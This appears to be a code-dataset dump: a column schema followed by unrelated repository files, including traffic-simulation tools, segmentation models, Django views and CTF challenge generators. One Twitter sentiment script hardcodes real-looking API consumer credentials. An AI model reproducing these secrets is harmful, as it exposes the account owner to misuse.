hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
d80d4dddaee9ab2c3adfbeac6d32333ab9ca9f76
570
py
Python
PYTHON/Regex_and_Parsing/html_parser_part2.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
PYTHON/Regex_and_Parsing/html_parser_part2.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
PYTHON/Regex_and_Parsing/html_parser_part2.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 from html.parser import HTMLParser class MyHTMLParser(HTMLParser): def handle_data(self, tag): if tag == '\n': return print('>>> Data\n{:s}'.format(tag)) def handle_comment(self, tag): t = tag.split('\n') if len(t) == 1: print('>>...
24.782609
72
0.533333
0d9a49f5f120fcbe490f8c7f219f9f93ccb6e73b
432
py
Python
oldp/apps/laws/processing/processing_steps/__init__.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
3
2020-06-27T08:19:35.000Z
2020-12-27T17:46:02.000Z
oldp/apps/laws/processing/processing_steps/__init__.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
null
null
null
oldp/apps/laws/processing/processing_steps/__init__.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
null
null
null
from oldp.apps.backend.processing.processing_steps import BaseProcessingStep from oldp.apps.laws.models import Law class LawProcessingStep(BaseProcessingStep): description = 'Law processing step without description' def __init__(self): super(LawProcessingStep, self).__init__() def process(self, ...
33.230769
93
0.763889
2182f8625012e5028d7255c4011c686e500b635f
478
py
Python
Problems/Depth-First Search/easy/IncreaseOrderSearchTree/test_increase_order_search_tree.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
1
2021-08-16T14:52:05.000Z
2021-08-16T14:52:05.000Z
Problems/Depth-First Search/easy/IncreaseOrderSearchTree/test_increase_order_search_tree.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Depth-First Search/easy/IncreaseOrderSearchTree/test_increase_order_search_tree.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
from unittest import TestCase from increase_order_search_tree import increasingBST class Test(TestCase): def test_increasing_bst(self): self.assertEqual(increasingBST([5, 3, 6, 2, 4, None, 8, 1, None, None, None, 7, 9]), [1, None, 2, None, 3, None, ...
59.75
142
0.531381
218f2d444dd48e0e713c28657dce9df50a953f0e
10,479
py
Python
src/onegov/feriennet/views/occasion.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/views/occasion.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/views/occasion.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.activity import AttendeeCollection from onegov.activity import Booking, BookingCollection from onegov.activity import InvoiceCollection from onegov.activity import Occasion, OccasionCollection, OccasionNeed from onegov.activity import PeriodCollection from onegov.core.security import Private, Personal, Publ...
29.27095
78
0.626205
df8207035a8af55755dcfa9695ae632dd156711a
1,484
py
Python
20-fs-ias-lec/groups/07-14-logCtrl/src/logStore/appconn/ratchet_chat_connection.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
20-fs-ias-lec/groups/07-14-logCtrl/src/logStore/appconn/ratchet_chat_connection.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
20-fs-ias-lec/groups/07-14-logCtrl/src/logStore/appconn/ratchet_chat_connection.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
from .connection import Function class RatchetChatFunction(Function): """Connection to the group chat to insert and output the chat elements""" def __init__(self): super(RatchetChatFunction, self).__init__() def insert_chat_msg(self, cbor): """adds a new chat element as cbor @:p...
41.222222
121
0.706199
10c14ff541d994d8fdeefea78a35cdafd6e7dda1
3,208
py
Python
c_CvDTree/TestTree.py
leoatchina/MachineLearning
071f2c0fc6f5af3d9550cfbeafe8d537c35a76d3
[ "MIT" ]
1,107
2016-09-21T02:18:36.000Z
2022-03-29T02:52:12.000Z
c_CvDTree/TestTree.py
leoatchina/MachineLearning
071f2c0fc6f5af3d9550cfbeafe8d537c35a76d3
[ "MIT" ]
18
2016-12-22T10:24:47.000Z
2022-03-11T23:18:43.000Z
c_CvDTree/TestTree.py
leoatchina/MachineLearning
071f2c0fc6f5af3d9550cfbeafe8d537c35a76d3
[ "MIT" ]
776
2016-12-21T12:08:08.000Z
2022-03-21T06:12:08.000Z
import os import sys root_path = os.path.abspath("../") if root_path not in sys.path: sys.path.append(root_path) import time from c_CvDTree.Tree import * from Util.Util import DataUtil def main(visualize=True): # x, y = DataUtil.get_dataset("balloon1.0(en)", "../_Data/balloon1.0(en).txt") x, y = DataUt...
27.655172
82
0.571072
3377c88977288ef8c846f16b684f995f0382cb03
2,513
py
Python
modeling/head/unet.py
UESTC-Liuxin/SkmtSeg
1251de57fae967aca395644d1c70a9ba0bb52271
[ "Apache-2.0" ]
2
2020-12-22T08:40:05.000Z
2021-03-30T08:09:44.000Z
modeling/head/unet.py
UESTC-Liuxin/SkmtSeg
1251de57fae967aca395644d1c70a9ba0bb52271
[ "Apache-2.0" ]
null
null
null
modeling/head/unet.py
UESTC-Liuxin/SkmtSeg
1251de57fae967aca395644d1c70a9ba0bb52271
[ "Apache-2.0" ]
null
null
null
""" Full assembly of the parts to form the complete network """ from __future__ import division import torch import torch.nn as nn from modeling.model_utils.unet_parts import * from utils.utils import init_weights,count_param class UNet(nn.Module): def __init__(self, backbone,BatchNorm, output_stride, num_class...
38.661538
87
0.634302
1d5bf46158540c37ec7313dae92678d53b8247b6
412
py
Python
python/coursera_python/WESLEYAN/week2/8.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/coursera_python/WESLEYAN/week2/8.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/coursera_python/WESLEYAN/week2/8.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
def problem2_8(temp_list): max = temp_list[0] min = temp_list[0] sum = 0 for item in temp_list: if item > max: max = item if item < min: min = item sum = sum + item avg = sum/len(temp_list) print("Average:",avg) print("High:",max) print("Lo...
22.888889
68
0.529126
63b010e48804d424abbdfe0cd6bb4184e13357f1
38,804
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/simulation/results.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/simulation/results.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/simulation/results.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2016-2020 German Aerospace Center (DLR) and others. # SUMOPy module # Copyright (C) 2012-2017 University of Bologna - DICAM # This program and the accompanying materials are made available under the # terms of the Eclipse Public ...
48.505
279
0.556283
89be69f5151604561ca17567e17baed46f600f92
1,429
py
Python
PlaidCTF/2020/crypto/dyrpto/generate_problem.py
mystickev/ctf-archives
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
[ "MIT" ]
1
2022-03-27T06:00:41.000Z
2022-03-27T06:00:41.000Z
PlaidCTF/2020/crypto/dyrpto/generate_problem.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
PlaidCTF/2020/crypto/dyrpto/generate_problem.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
from cryptography.hazmat.backends.openssl import backend as openssl_backend from cryptography.hazmat.primitives.asymmetric.rsa import generate_private_key import json from message_pb2 import Message privkey = generate_private_key(3, 4096, openssl_backend) pubkey = privkey.public_key() pubkey_numbers = pubkey.public_n...
27.480769
78
0.730581
9876a86ef3da1b09218fc23a2d1295e67c80ab32
5,422
py
Python
Openharmony v1.0/third_party/ltp/testcases/network/nfsv4/locks/locktests.py
clkbit123/TheOpenHarmony
0e6bcd9dee9f1a2481d762966b8bbd24baad6159
[ "MIT" ]
1
2022-02-15T08:51:55.000Z
2022-02-15T08:51:55.000Z
hihope_neptune-oh_hid/00_src/v0.3/third_party/ltp/testcases/network/nfsv4/locks/locktests.py
dawmlight/vendor_oh_fun
bc9fb50920f06cd4c27399f60076f5793043c77d
[ "Apache-2.0" ]
null
null
null
hihope_neptune-oh_hid/00_src/v0.3/third_party/ltp/testcases/network/nfsv4/locks/locktests.py
dawmlight/vendor_oh_fun
bc9fb50920f06cd4c27399f60076f5793043c77d
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # This script aims to help to run locktests with several clients. # # Report bugs to Vincent ROQUETA : vincent.roqueta@ext.bull.net import encodings import shutil import os, sys import getopt, sys import string import socket from stat import * from sys import * from os import * NFS4_PATH="/mnt/...
22.877637
117
0.592032
1212de3e4d3e8d7c1c25e20da3b95e81dff5c332
917
py
Python
Webpage/Django/urls.py
ASV-Aachen/Website
bbfc02d71dde67fdf89a4b819b795a73435da7cf
[ "Apache-2.0" ]
null
null
null
Webpage/Django/urls.py
ASV-Aachen/Website
bbfc02d71dde67fdf89a4b819b795a73435da7cf
[ "Apache-2.0" ]
46
2022-01-08T12:03:24.000Z
2022-03-30T08:51:05.000Z
Webpage/Django/urls.py
ASV-Aachen/Website
bbfc02d71dde67fdf89a4b819b795a73435da7cf
[ "Apache-2.0" ]
null
null
null
from django.contrib import admin from django.conf.urls import include, url from django.urls import path from django.conf import settings from django.conf.urls.static import static from filebrowser.sites import site from ajax_select import urls as ajax_select_urls from web.views import upload_image urlpatterns = [ ...
36.68
65
0.708833
123a4c53e7f75369eb060a23bb586a9384e1d129
267
py
Python
db_connection.example.py
ypislon/bachelorarbeit
2e1d07d667d505a79d1adb9363cec5d21dafe832
[ "MIT" ]
null
null
null
db_connection.example.py
ypislon/bachelorarbeit
2e1d07d667d505a79d1adb9363cec5d21dafe832
[ "MIT" ]
null
null
null
db_connection.example.py
ypislon/bachelorarbeit
2e1d07d667d505a79d1adb9363cec5d21dafe832
[ "MIT" ]
null
null
null
from peewee import MySQLDatabase # Peewee supports MySQL, sqllite and postgresql databases # For this project, a MySQL database is used db_connection = MySQLDatabase('DB_NAME', user='root', password='password', host='127.0.0.1', port=3306)
33.375
74
0.696629
12503c4cb4ef354e144c584bafeaddaa7de9ce40
433
py
Python
Algorithms/Implementation/taum_and_b_day.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
Algorithms/Implementation/taum_and_b_day.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
Algorithms/Implementation/taum_and_b_day.py
byung-u/HackerRank
4c02fefff7002b3af774b99ebf8d40f149f9d163
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 T = int(input()) for _ in range(T): b, w = list(map(int, input().strip().split())) x, y, z = list(map(int, input().strip().split())) costs = [b * x + w * y, b * (y + z) + w * y, b * x + w * (x + z)] print(min(costs)) ''' # 1. original cost = b * x + w * y # 2-1. buy ...
24.055556
69
0.450346
89d06c2971f93dfabf93046ba71b735674380d67
19,012
py
Python
src/onegov/feriennet/forms/period.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/forms/period.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/forms/period.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from cached_property import cached_property from datetime import datetime from onegov.activity import Activity, Period, Occasion, OccasionDate from onegov.activity import PeriodCollection from onegov.core.utils import Bunch from onegov.feriennet import _ from onegov.form import Form, merge_forms from onegov.form.fields...
33.530864
79
0.59068
14814c0b0fffb5ddf9e0689820d398a5efd9b721
9,862
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/detector/detector.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/detector/detector.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/detector/detector.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
#!/usr/bin/env python # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2007-2020 German Aerospace Center (DLR) and others. # This program and the accompanying materials are made available under the # terms of the Eclipse Public License 2.0 which is available at # https://www.ec...
36.93633
118
0.554857
dcdc512f032a57ee11c5416aa0eb9a1b322e8bbc
13,809
py
Python
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/segment/cfbi.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
5
2022-01-30T07:35:58.000Z
2022-02-08T05:45:20.000Z
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/segment/cfbi.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
1
2022-01-14T02:33:28.000Z
2022-01-14T02:33:28.000Z
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/segment/cfbi.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
1
2022-01-24T16:27:01.000Z
2022-01-24T16:27:01.000Z
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License" # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applic...
48.114983
117
0.551235
0d496c03a1c78da583856b4f0a3a213b101247c4
2,338
py
Python
SOP/07/uebung-b.py
chfrank-cgn/FOM
72ada98bb287b00807911a070a390964b681f099
[ "CC-BY-4.0" ]
null
null
null
SOP/07/uebung-b.py
chfrank-cgn/FOM
72ada98bb287b00807911a070a390964b681f099
[ "CC-BY-4.0" ]
null
null
null
SOP/07/uebung-b.py
chfrank-cgn/FOM
72ada98bb287b00807911a070a390964b681f099
[ "CC-BY-4.0" ]
null
null
null
import sys import readline # Uebung 1 def datum_einlesen(): day = int(input('Please enter date: ')) month = int(input('Please enter month: ')) year = int(input('Please enter month: ')) return [day, month, year] datum = datum_einlesen() tag, monat, jahr = datum print(datum) print(tag, monat, jahr) # Uebung 2 ...
25.413043
99
0.662104
6ce87d1fc517af627390b86c00eff88edfbeca16
505
py
Python
Hackerrank_problems/Time_Conversion/time_conversion.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
Hackerrank_problems/Time_Conversion/time_conversion.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
Hackerrank_problems/Time_Conversion/time_conversion.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
# Taking input of time and splitting that into hour, minutes, and seconds. h, m, s = input().split(':') # s[-2:] is to get status of time i.e. AM or PM. if s[-2:] == 'AM' and h == '12': ## manage 12 AM hour. print(f'{0}{0}:{m}:{s[:-2]}') elif s[-2:] == 'AM': ## manage day time. print(f'{h}:{m}:{s[:-2...
24.047619
74
0.483168
9f509a5a34eb0f478e038ee348e15fe016ace7b7
241
py
Python
exercises/ja/solution_02_10_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/ja/solution_02_10_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/ja/solution_02_10_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy nlp = spacy.load("ja_core_news_md") doc = nlp("素晴らしいレストランでした。その後、私達はとても素敵なバーに行きました。") # 「素晴らしいレストラン」と「とても素敵なバー」のスパンを作る span1 = doc[0:2] span2 = doc[11:15] # スパンの類似度をはかる similarity = span1.similarity(span2) print(similarity)
17.214286
49
0.751037
9fc3055606aedde47f819decf599f3140f97fd44
1,260
py
Python
rev/Dotty/src/generate.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
rev/Dotty/src/generate.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
rev/Dotty/src/generate.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
import base64 MORSE_CODE_DICT = { 'A':'.-', 'B':'-...', 'C':'-.-.', 'D':'-..', 'E':'.', 'F':'..-.', 'G':'--.', 'H':'....', 'I':'..', 'J':'.---', 'K':'-.-', 'L':'.-..', 'M':'--', 'N':'-.', 'O':'---', 'P':'.--.', 'Q':'--.-...
36
72
0.265873
394906541ea666c534ee127571addc837131fe4c
126
py
Python
scripts/hello_world_jkingz.py
breezage/Hacktoberfest-1
6f6d52248c79c0e72fd13b599500318fce3f9ab0
[ "MIT" ]
null
null
null
scripts/hello_world_jkingz.py
breezage/Hacktoberfest-1
6f6d52248c79c0e72fd13b599500318fce3f9ab0
[ "MIT" ]
null
null
null
scripts/hello_world_jkingz.py
breezage/Hacktoberfest-1
6f6d52248c79c0e72fd13b599500318fce3f9ab0
[ "MIT" ]
1
2019-10-24T06:45:21.000Z
2019-10-24T06:45:21.000Z
# LANGUAGE: Python # ENV: Python3.5 # AUTHOR: Jhonferdz King Rule # GITHUB: https://github.com/jkingz print("Hello, World!")
18
35
0.706349
2fab79247ba590df68f05d5aef746e14218779fa
2,843
py
Python
0_homeworks/Python/Console/4/classTest.py
Team-on/works
16978b61c0d6bcb37e910efb4b5b80e9a2460230
[ "MIT" ]
10
2018-11-12T19:43:28.000Z
2020-09-09T18:48:30.000Z
0_homeworks/Python/Console/4/classTest.py
Team-on/works
16978b61c0d6bcb37e910efb4b5b80e9a2460230
[ "MIT" ]
null
null
null
0_homeworks/Python/Console/4/classTest.py
Team-on/works
16978b61c0d6bcb37e910efb4b5b80e9a2460230
[ "MIT" ]
null
null
null
class PaperPack: #def __init__(self): # self.shape = "rectangle" # self.color = "blue" # self.material = "paper" # self.useCase = "notes" # self.amount = "100" # self.name = "stickers" def __init__(self, shape="DEFAULT", color="DEFAULT", mat="DEFAULT", use="DEFAULT", a...
19.743056
112
0.568414
4493f137d7bf897871217431a120966bc996bf26
11,679
py
Python
research/nlp/DYR/run_dyr.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/nlp/DYR/run_dyr.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/nlp/DYR/run_dyr.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
54.069444
119
0.685932
92389e51127ea2886a8fe83b2d73cb1fcb0a2f74
4,080
py
Python
test.py
PMingEli/FDSR
73563b5e148647fff2712602b1fc8720b8739589
[ "MIT" ]
null
null
null
test.py
PMingEli/FDSR
73563b5e148647fff2712602b1fc8720b8739589
[ "MIT" ]
null
null
null
test.py
PMingEli/FDSR
73563b5e148647fff2712602b1fc8720b8739589
[ "MIT" ]
null
null
null
import os os.environ["CUDA_VISIBLE_DEVICES"] = "0" import torch import numpy as np import cv2 import argparse import time import glob from imageio import imread from models import * from PIL import Image parser = argparse.ArgumentParser() parser.add_argument('--rgb_files', default='./data/rgb/*.jpg', help='folder nam...
32.125984
120
0.648529
a6255170560f9e552a8ee96cd837786d6448e787
2,814
py
Python
src/Sephrasto/CharakterFertigkeitenWrapper.py
Ilaris-Tools/Sephrasto
8574a5b45da8ebfa5f69a775066fd3136da1c718
[ "MIT" ]
1
2022-02-02T16:15:59.000Z
2022-02-02T16:15:59.000Z
src/Sephrasto/CharakterFertigkeitenWrapper.py
Ilaris-Tools/Sephrasto
8574a5b45da8ebfa5f69a775066fd3136da1c718
[ "MIT" ]
1
2022-01-14T11:04:19.000Z
2022-01-14T11:04:19.000Z
src/Sephrasto/CharakterFertigkeitenWrapper.py
lukruh/Sephrasto
8574a5b45da8ebfa5f69a775066fd3136da1c718
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Fri Mar 10 17:33:11 2017 @author: Lennart """ from Wolke import Wolke from PyQt5 import QtWidgets, QtCore, QtGui from CharakterProfaneFertigkeitenWrapper import ProfaneFertigkeitenWrapper from CharakterFreieFertWrapper import CharakterFreieFertWrapper from CharakterUebernatuerlic...
46.9
166
0.704691
a666408c695dedaef4c37f132f5cc85fed2ba6f8
209
py
Python
SBTK_League_Helper/test2.py
juanchodepisa/sbtk
7cba7748e75a02b491e551d6c1be9bd7987c5051
[ "MIT" ]
null
null
null
SBTK_League_Helper/test2.py
juanchodepisa/sbtk
7cba7748e75a02b491e551d6c1be9bd7987c5051
[ "MIT" ]
null
null
null
SBTK_League_Helper/test2.py
juanchodepisa/sbtk
7cba7748e75a02b491e551d6c1be9bd7987c5051
[ "MIT" ]
null
null
null
from abc import ABCMeta, abstractmethod class Foo(metaclass=ABCMeta): @property @abstractmethod def hello(self): ... class Bar(Foo): pass class Baz(Foo): hello = "Hello Baz!!!"
14.928571
40
0.626794
a6d1d8f628155022275fb6f67969d683b2c69c43
9,703
py
Python
python/en/_numpy/GeeksforGeeks-numpy_in_python-set_2_advanced.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
python/en/_numpy/GeeksforGeeks-numpy_in_python-set_2_advanced.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
python/en/_numpy/GeeksforGeeks-numpy_in_python-set_2_advanced.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
#NumPy in Python | Set 2 (Advanced) #https://www.geeksforgeeks.org/numpy-python-set-2-advanced/ # 1. Stacking # np.vstack # np.hstack # np.column_stack # np.row_stack # np.concatenate # # 2.Splitting # np.shplit # np.vsplit # np.array_split # # 3.Broadcasting #...
26.153639
83
0.573637
5b488464bbcbc5c939f4f957c4ba5b3564af55ef
1,574
py
Python
0-newbooks/bitcoin_prediction/Continuous_Stream_Sentiment.py
gopala-kr/ds-notebooks
bc35430ecdd851f2ceab8f2437eec4d77cb59423
[ "MIT" ]
1
2019-05-10T09:16:23.000Z
2019-05-10T09:16:23.000Z
0-newbooks/bitcoin_prediction/Continuous_Stream_Sentiment.py
gopala-kr/ds-notebooks
bc35430ecdd851f2ceab8f2437eec4d77cb59423
[ "MIT" ]
null
null
null
0-newbooks/bitcoin_prediction/Continuous_Stream_Sentiment.py
gopala-kr/ds-notebooks
bc35430ecdd851f2ceab8f2437eec4d77cb59423
[ "MIT" ]
1
2019-10-14T07:30:18.000Z
2019-10-14T07:30:18.000Z
# import tweepy library for twitter api access and textblob libary for sentiment analysis import csv import tweepy import numpy as np from textblob import TextBlob import datetime import time def main(): # set twitter api credentials consumer_key= 'MOe623rxcqck6x8y5XhzK8MJT' consumer_secret= 'mcBq9Km1f3OY...
28.107143
89
0.693774
342bb76aff58d2d52e7fa648ea33eb5f3dca8289
4,912
py
Python
src/ztc/java/terracotta.py
magistersart/ZTC_fork
ce72734ea575d9846b5b81f3efbfd14fa1f7e532
[ "PostgreSQL" ]
null
null
null
src/ztc/java/terracotta.py
magistersart/ZTC_fork
ce72734ea575d9846b5b81f3efbfd14fa1f7e532
[ "PostgreSQL" ]
null
null
null
src/ztc/java/terracotta.py
magistersart/ZTC_fork
ce72734ea575d9846b5b81f3efbfd14fa1f7e532
[ "PostgreSQL" ]
null
null
null
#!/usr/bin/env python """ Terracotta check class for ZTC. Licensed under the same terms as ZTC. Copyright (c) 2011 Wrike, Inc. [http://www.wrike.com] Copyright (c) 2011 Vladimir Rusinov <vladimir@greenmice.info> Interesing Terracotta beans: java.lang:name=Code Cache,type=MemoryPool: %8 - Type (java.l...
34.836879
78
0.656759
1b62621a32b12efffe8f79c023729b8b038c4bd2
1,842
py
Python
azext_keyvault/keyvault/__init__.py
jdmartinez36/azure-keyvault-cli-extension
4dc674b9c30cac13e27347782c49b3ed7dca2e2f
[ "MIT" ]
2
2019-06-12T13:44:34.000Z
2020-06-01T13:24:04.000Z
azext_keyvault/keyvault/__init__.py
jdmartinez36/azure-keyvault-cli-extension
4dc674b9c30cac13e27347782c49b3ed7dca2e2f
[ "MIT" ]
5
2018-04-26T01:14:29.000Z
2021-01-05T00:45:39.000Z
azext_keyvault/keyvault/__init__.py
jdmartinez36/azure-keyvault-cli-extension
4dc674b9c30cac13e27347782c49b3ed7dca2e2f
[ "MIT" ]
8
2018-04-24T22:52:48.000Z
2021-11-16T06:29:28.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes ...
39.191489
98
0.578719
9448568845b9628a07b92b3a220c66172e58c121
655
py
Python
testbed1/cd_player_app.py
Benny93/HMI-Protocol
5f98873129acebed1b2b3cf4376c2733907ead70
[ "MIT" ]
null
null
null
testbed1/cd_player_app.py
Benny93/HMI-Protocol
5f98873129acebed1b2b3cf4376c2733907ead70
